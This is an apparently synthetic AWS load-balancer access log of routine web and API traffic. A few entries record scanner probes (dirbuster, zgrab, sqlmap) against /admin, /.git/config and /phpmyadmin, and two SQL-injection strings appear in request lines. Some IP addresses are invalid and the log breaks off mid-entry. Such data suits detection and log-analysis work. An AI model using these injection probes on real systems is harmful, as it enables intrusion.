10.0.164.132:443 0.049102 0.282262 0.057756 200 200 299 4079 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c39b-9715224e35a9459f9dbb6452" "prod-web-alb.example.com" "-" 3 2024-11-01T00:51:23.232280Z "forward" "-" "-" "10.0.164.132:443" "200" "-" "-" +https 2024-11-01T00:51:24.815178Z prod-api-alb 240.46.226.210:11150 10.0.195.192:443 0.002749 0.233595 0.010768 302 302 276 5436 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c39c-5f60d462946942c9ab8883f4" "prod-api-alb.example.com" "-" 8 2024-11-01T00:51:24.815178Z "forward" "-" "-" "10.0.195.192:443" "302" "-" "-" +https 2024-11-01T00:51:25.938038Z staging-alb 155.106.157.39:50771 187.105.10.197:80 0.111133 0.091598 0.013705 200 200 746 2316 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c39d-6e38d396ee13491bb0623c4f" "staging-alb.example.com" "-" 6 2024-11-01T00:51:25.938038Z "forward" "-" "-" "187.105.10.197:80" "200" "-" "-" +https 2024-11-01T00:51:26.402486Z prod-web-alb 45.155.205.102:29205 10.0.24.191:443 0.082216 0.073273 0.001022 302 302 641 10729 "GET /admin HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c39e-a756d704c15b4330aaa377a9" "-" "-" 1 2024-11-01T00:51:26.402486Z "forward" "-" "-" "10.0.24.191:443" "302" "-" "-" +http 2024-11-01T00:51:27.880376Z staging-alb 210.185.192.16:30617 150.137.104.126:443 0.059886 0.038596 0.019405 200 200 733 8970 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c39f-c15d1e3c24f44bdab0c5cc85" "staging-alb.example.com" "-" 5 2024-11-01T00:51:27.880376Z "forward" "-" "-" "150.137.104.126:443" "200" "-" "-" +https 2024-11-01T00:51:29.307651Z prod-web-alb 185.181.73.18:37372 10.0.104.111:443 0.075403 0.058442 0.018062 403 403 971 10484 "POST /.git/config HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3a1-a258f258be6c412a90b51aa5" "-" "-" 5 2024-11-01T00:51:29.307651Z "forward" "-" "-" "10.0.104.111:443" "403" "-" "-" +https 2024-11-01T00:51:29.439425Z prod-api-alb 199.115.74.95:24435 10.0.20.92:443 0.011349 0.204355 0.042275 200 200 675 13348 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3a1-38be92a3cfde444b8f8ee34e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:51:29.439425Z "forward" "-" "-" "10.0.20.92:443" "200" "-" "-" +https 2024-11-01T00:51:30.268486Z prod-web-alb 98.27.253.60:44351 10.0.153.172:443 0.006950 0.339039 0.049748 200 200 210 6518 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3a2-c6ca3d567dda4652ae2bf94e" "prod-web-alb.example.com" "-" 8 2024-11-01T00:51:30.268486Z "forward" "-" "-" "10.0.153.172:443" "200" "-" "-" +https 2024-11-01T00:51:32.228909Z staging-alb 175.236.215.125:29711 166.211.207.11:443 0.046612 0.593439 0.006156 404 404 530 13934 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3a4-8c5cdc9f9bee485a84f51501" "staging-alb.example.com" "-" 5 2024-11-01T00:51:32.228909Z "forward" "-" "-" "166.211.207.11:443" "404" "-" "-" +https 2024-11-01T00:51:34.109375Z staging-alb 63.0.57.61:26011 74.217.12.197:8080 0.122466 0.274226 0.112213 200 200 528 10402 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3a6-0df579d1b0214081b4968e96" "staging-alb.example.com" "-" 9 2024-11-01T00:51:34.109375Z "forward" "-" "-" "74.217.12.197:8080" "200" "-" "-" +http 2024-11-01T00:51:35.531197Z staging-alb 84.40.79.93:43372 205.38.65.94:80 0.039562 0.587929 0.007664 200 200 790 9386 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3a7-4b593ed180f3406c9caba6b5" "staging-alb.example.com" "-" 3 2024-11-01T00:51:35.531197Z "forward" "-" "-" "205.38.65.94:80" "200" "-" "-" +https 2024-11-01T00:51:36.285026Z prod-api-alb 173.243.178.63:39110 10.0.201.129:443 0.049165 0.384550 0.046225 200 200 189 14519 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3a8-d1d23ec4a9154d21bfe8082d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:51:36.285026Z "forward" "-" "-" "10.0.201.129:443" "200" "-" "-" +https 2024-11-01T00:51:37.084293Z prod-api-alb 79.3.174.91:33517 10.0.15.38:443 0.088058 0.270716 0.054603 200 200 310 11317 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3a9-3b079272fe2a477b811f9df9" "prod-api-alb.example.com" "-" 5 2024-11-01T00:51:37.084293Z "forward" "-" "-" "10.0.15.38:443" "200" "-" "-" +https 2024-11-01T00:51:37.627716Z staging-alb 119.242.247.136:11582 203.151.187.224:80 0.012344 0.435409 0.105801 404 404 162 14536 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3a9-695d3ba4baa048ae969f78a9" "staging-alb.example.com" "-" 2 2024-11-01T00:51:37.627716Z "forward" "-" "-" "203.151.187.224:80" "404" "-" "-" +https 2024-11-01T00:51:38.065327Z prod-web-alb 116.254.145.83:53409 10.0.13.167:443 0.074858 0.402177 0.041465 200 200 930 14998 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3aa-8bac8990966f40c794e5cf72" "prod-web-alb.example.com" "-" 2 2024-11-01T00:51:38.065327Z "forward" "-" "-" "10.0.13.167:443" "200" "-" "-" +https 2024-11-01T00:51:38.197635Z staging-alb 209.49.63.22:64964 120.31.87.200:8080 0.033494 0.482784 0.090103 200 200 865 339 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3aa-fc3709eb03a74e28be916e4d" "staging-alb.example.com" "-" 10 2024-11-01T00:51:38.197635Z "forward" "-" "-" "120.31.87.200:8080" "200" "-" "-" +https 2024-11-01T00:51:38.757942Z prod-web-alb 193.27.228.75:28962 10.0.221.206:443 0.022239 0.374217 0.006648 301 301 665 13825 "POST /phpmyadmin HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3aa-81c01f68300441db9a9b5b70" "-" "-" 9 2024-11-01T00:51:38.757942Z "forward" "-" "-" "10.0.221.206:443" "301" "-" "-" +https 2024-11-01T00:51:39.699915Z prod-api-alb 35.131.87.44:18714 10.0.62.3:443 0.043489 0.230164 0.025688 200 200 916 12498 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3ab-b7d218a7978a4900baa1b430" "prod-api-alb.example.com" "-" 7 2024-11-01T00:51:39.699915Z "forward" "-" "-" "10.0.62.3:443" "200" "-" "-" +https 2024-11-01T00:51:39.938968Z prod-web-alb 160.250.180.147:49777 10.0.191.109:443 0.075478 0.009074 0.081757 200 200 519 653 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3ab-6373093741ca4597bd817e6c" "prod-web-alb.example.com" "-" 9 2024-11-01T00:51:39.938968Z "forward" "-" "-" "10.0.191.109:443" "200" "-" "-" +http 2024-11-01T00:51:40.506887Z staging-alb 109.52.129.52:28861 247.47.84.62:80 0.128311 0.528722 0.007544 200 200 775 5503 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3ac-3abb25a0a4944892ab65354a" "staging-alb.example.com" "-" 10 2024-11-01T00:51:40.506887Z "forward" "-" "-" "247.47.84.62:80" "200" "-" "-" +https 2024-11-01T00:51:41.278104Z prod-api-alb 233.214.158.253:37499 10.0.70.130:443 0.087619 0.100443 0.018176 200 200 978 1006 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3ad-e299994f3dbc4dc8ab6a33e3" "prod-api-alb.example.com" "-" 10 2024-11-01T00:51:41.278104Z "forward" "-" "-" "10.0.70.130:443" "200" "-" "-" +https 2024-11-01T00:51:42.044691Z prod-web-alb 90.161.74.14:54590 10.0.232.208:443 0.002400 0.246595 0.003746 301 301 35 6566 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3ae-a13bc5a096c24419aaf5bf5c" "prod-web-alb.example.com" "-" 0 2024-11-01T00:51:42.044691Z "forward" "-" "-" "10.0.232.208:443" "301" "-" "-" +http 2024-11-01T00:51:43.781796Z staging-alb 164.141.45.135:57129 119.77.25.96:443 0.140551 0.547714 0.102632 301 301 330 11436 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3af-e1013872dabc4153b4ad7648" "staging-alb.example.com" "-" 4 2024-11-01T00:51:43.781796Z "forward" "-" "-" "119.77.25.96:443" "301" "-" "-" +https 2024-11-01T00:51:45.178459Z prod-api-alb 223.238.44.138:22418 10.0.70.125:443 0.059389 0.383331 0.097037 302 302 35 10246 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3b1-801bfdf0116048e49ad9c9f1" "prod-api-alb.example.com" "-" 0 2024-11-01T00:51:45.178459Z "forward" "-" "-" "10.0.70.125:443" "302" "-" "-" +https 2024-11-01T00:51:46.269495Z prod-api-alb 68.212.206.218:49888 10.0.253.30:443 0.039609 0.008089 0.026430 404 404 917 5527 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3b2-9a542607ce984f8cb7de7991" "prod-api-alb.example.com" "-" 2 2024-11-01T00:51:46.269495Z "forward" "-" "-" "10.0.253.30:443" "404" "-" "-" +http 2024-11-01T00:51:47.545107Z staging-alb 236.37.183.231:52811 215.95.202.161:80 0.024764 0.402197 0.138130 301 301 855 7775 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3b3-6a27f1db3e6447ba8be89b28" "staging-alb.example.com" "-" 10 2024-11-01T00:51:47.545107Z "forward" "-" "-" "215.95.202.161:80" "301" "-" "-" +https 2024-11-01T00:51:48.370299Z prod-api-alb 205.228.4.38:24402 10.0.109.14:443 0.082831 0.374773 0.052602 200 200 687 12387 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3b4-6221d557189f465eaa8dda24" "prod-api-alb.example.com" "-" 5 2024-11-01T00:51:48.370299Z "forward" "-" "-" "10.0.109.14:443" "200" "-" "-" +http 2024-11-01T00:51:49.684479Z staging-alb 183.12.103.96:57490 79.156.72.35:80 0.149067 0.741971 0.069950 200 200 435 308 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3b5-c3afa530b8c046af8495f5c2" "staging-alb.example.com" "-" 10 2024-11-01T00:51:49.684479Z "forward" "-" "-" "79.156.72.35:80" "200" "-" "-" +https 2024-11-01T00:51:51.297189Z prod-web-alb 76.143.116.247:14906 10.0.93.187:443 0.086759 0.186846 0.075743 301 301 191 5440 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3b7-1256ec7a0b704348828a745c" "prod-web-alb.example.com" "-" 4 2024-11-01T00:51:51.297189Z "forward" "-" "-" "10.0.93.187:443" "301" "-" "-" +https 2024-11-01T00:51:52.110100Z prod-web-alb 16.160.106.62:23618 10.0.222.36:443 0.087595 0.487991 0.097887 301 301 86 336 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3b8-1ec8431808a3411b9eafec09" "prod-web-alb.example.com" "-" 9 2024-11-01T00:51:52.110100Z "forward" "-" "-" "10.0.222.36:443" "301" "-" "-" +http 2024-11-01T00:51:52.653845Z staging-alb 10.12.3.174:45995 115.146.176.140:80 0.142376 0.592914 0.014363 200 200 335 2371 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3b8-4db7b8910a194f08aa7b2ed2" "staging-alb.example.com" "-" 3 2024-11-01T00:51:52.653845Z "forward" "-" "-" "115.146.176.140:80" "200" "-" "-" +https 2024-11-01T00:51:53.863868Z prod-api-alb 229.182.76.168:55286 10.0.196.251:443 0.028095 0.119710 0.064785 404 404 391 2392 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3b9-4da72582a8f94b8c8d279ed6" "prod-api-alb.example.com" "-" 7 2024-11-01T00:51:53.863868Z "forward" "-" "-" "10.0.196.251:443" "404" "-" "-" +https 2024-11-01T00:51:55.356151Z prod-web-alb 57.76.113.131:34997 10.0.18.36:443 0.075045 0.421087 0.085767 200 200 696 10107 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3bb-62cc090ae16648969854bd4a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:51:55.356151Z "forward" "-" "-" "10.0.18.36:443" "200" "-" "-" +https 2024-11-01T00:51:57.326964Z prod-api-alb 67.191.126.71:57649 10.0.176.93:443 0.079096 0.420244 0.061110 200 200 844 2080 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3bd-bd89126e78004013b677de13" "prod-api-alb.example.com" "-" 9 2024-11-01T00:51:57.326964Z "forward" "-" "-" "10.0.176.93:443" "200" "-" "-" +https 2024-11-01T00:51:58.427613Z prod-api-alb 231.7.176.27:38531 10.0.228.152:443 0.038424 0.176534 0.068487 302 302 302 14073 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3be-ea91d0d4ffce47deab291d76" "prod-api-alb.example.com" "-" 10 2024-11-01T00:51:58.427613Z "forward" "-" "-" "10.0.228.152:443" "302" "-" "-" +http 2024-11-01T00:52:00.272933Z staging-alb 135.117.51.116:55914 86.195.4.104:80 0.073162 0.679336 0.041693 200 200 540 2570 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3c0-04a4bd4d8fa04e05b6be464e" "staging-alb.example.com" "-" 4 2024-11-01T00:52:00.272933Z "forward" "-" "-" "86.195.4.104:80" "200" "-" "-" +https 2024-11-01T00:52:01.101712Z prod-web-alb 45.68.195.53:28088 10.0.251.117:443 0.014571 0.489905 0.019975 301 301 116 3061 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3c1-f01e6f5e52aa46f08a389bc2" "prod-web-alb.example.com" "-" 9 2024-11-01T00:52:01.101712Z "forward" "-" "-" "10.0.251.117:443" "301" "-" "-" +https 2024-11-01T00:52:01.637193Z staging-alb 250.64.43.255:45268 177.221.29.248:80 0.127538 0.020286 0.096574 301 301 967 10073 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3c1-173a8371c28348138a211b9a" "staging-alb.example.com" "-" 6 2024-11-01T00:52:01.637193Z "forward" "-" "-" "177.221.29.248:80" "301" "-" "-" +https 2024-11-01T00:52:02.723990Z prod-api-alb 46.63.151.58:28998 10.0.53.97:443 0.045879 0.219532 0.016616 200 200 215 11367 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3c2-c8eb303c7bba44e387e95a63" "prod-api-alb.example.com" "-" 2 2024-11-01T00:52:02.723990Z "forward" "-" "-" "10.0.53.97:443" "200" "-" "-" +https 2024-11-01T00:52:03.011552Z prod-web-alb 7.58.121.175:10524 10.0.78.92:443 0.088947 0.306228 0.055715 200 200 885 9189 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3c3-d1e0dcd14b6147cbaab020e8" "prod-web-alb.example.com" "-" 2 2024-11-01T00:52:03.011552Z "forward" "-" "-" "10.0.78.92:443" "200" "-" "-" +https 2024-11-01T00:52:04.249203Z prod-web-alb 68.147.169.160:49397 10.0.5.44:443 0.048936 0.146454 0.088379 301 301 291 9767 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3c4-58ab4ff61a404ecfbf2e3aa7" "prod-web-alb.example.com" "-" 10 2024-11-01T00:52:04.249203Z "forward" "-" "-" "10.0.5.44:443" "301" "-" "-" +https 2024-11-01T00:52:05.086794Z prod-web-alb 45.148.49.36:12759 10.0.118.126:443 0.048769 0.040281 0.067226 404 404 675 3295 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3c5-265af56b3eea4d339316061d" "prod-web-alb.example.com" "-" 8 2024-11-01T00:52:05.086794Z "forward" "-" "-" "10.0.118.126:443" "404" "-" "-" +https 2024-11-01T00:52:06.183064Z prod-web-alb 185.181.95.188:10143 10.0.226.117:443 0.019342 0.449688 0.009907 403 403 103 3793 "POST /search?q=1' UNION SELECT HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3c6-bbddb3f55cd644e1b2e6d0fb" "-" "-" 5 2024-11-01T00:52:06.183064Z "forward" "-" "-" "10.0.226.117:443" "403" "-" "-" +https 2024-11-01T00:52:08.119542Z staging-alb 185.181.26.16:17487 113.167.83.230:443 0.095656 0.138938 0.105070 403 403 426 2743 "GET /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3c8-014361b2f2ce417ea9b213a9" "-" "-" 8 2024-11-01T00:52:08.119542Z "forward" "-" "-" "113.167.83.230:443" "403" "-" "-" +https 2024-11-01T00:52:09.182853Z prod-web-alb 41.90.242.186:12965 10.0.79.145:443 0.072151 0.426232 0.022562 301 301 328 3372 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3c9-da9b6d57838a42a6a733303d" "prod-web-alb.example.com" "-" 3 2024-11-01T00:52:09.182853Z "forward" "-" "-" "10.0.79.145:443" "301" "-" "-" +https 2024-11-01T00:52:09.449668Z prod-web-alb 31.59.140.169:58910 10.0.229.215:443 0.000626 0.105851 0.004448 200 200 975 9406 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3c9-44f135ba68f342c1badefef3" "prod-web-alb.example.com" "-" 8 2024-11-01T00:52:09.449668Z "forward" "-" "-" "10.0.229.215:443" "200" "-" "-" +https 2024-11-01T00:52:11.235488Z prod-web-alb 254.251.5.223:28407 10.0.163.150:443 0.022448 0.264201 0.030405 200 200 665 10707 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3cb-7afc966531b34e3dae884319" "prod-web-alb.example.com" "-" 8 2024-11-01T00:52:11.235488Z "forward" "-" "-" "10.0.163.150:443" "200" "-" "-" +https 2024-11-01T00:52:12.639285Z prod-web-alb 102.80.2.158:59112 10.0.11.223:443 0.040010 0.069900 0.059628 404 404 172 3164 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3cc-ab0130750fe54f3fb5b6f22f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:52:12.639285Z "forward" "-" "-" "10.0.11.223:443" "404" "-" "-" +http 2024-11-01T00:52:14.551196Z staging-alb 151.228.193.251:22102 156.37.164.145:80 0.039112 0.252715 0.092805 302 302 282 13744 "GET /api/v1/products HTTP/1.1" 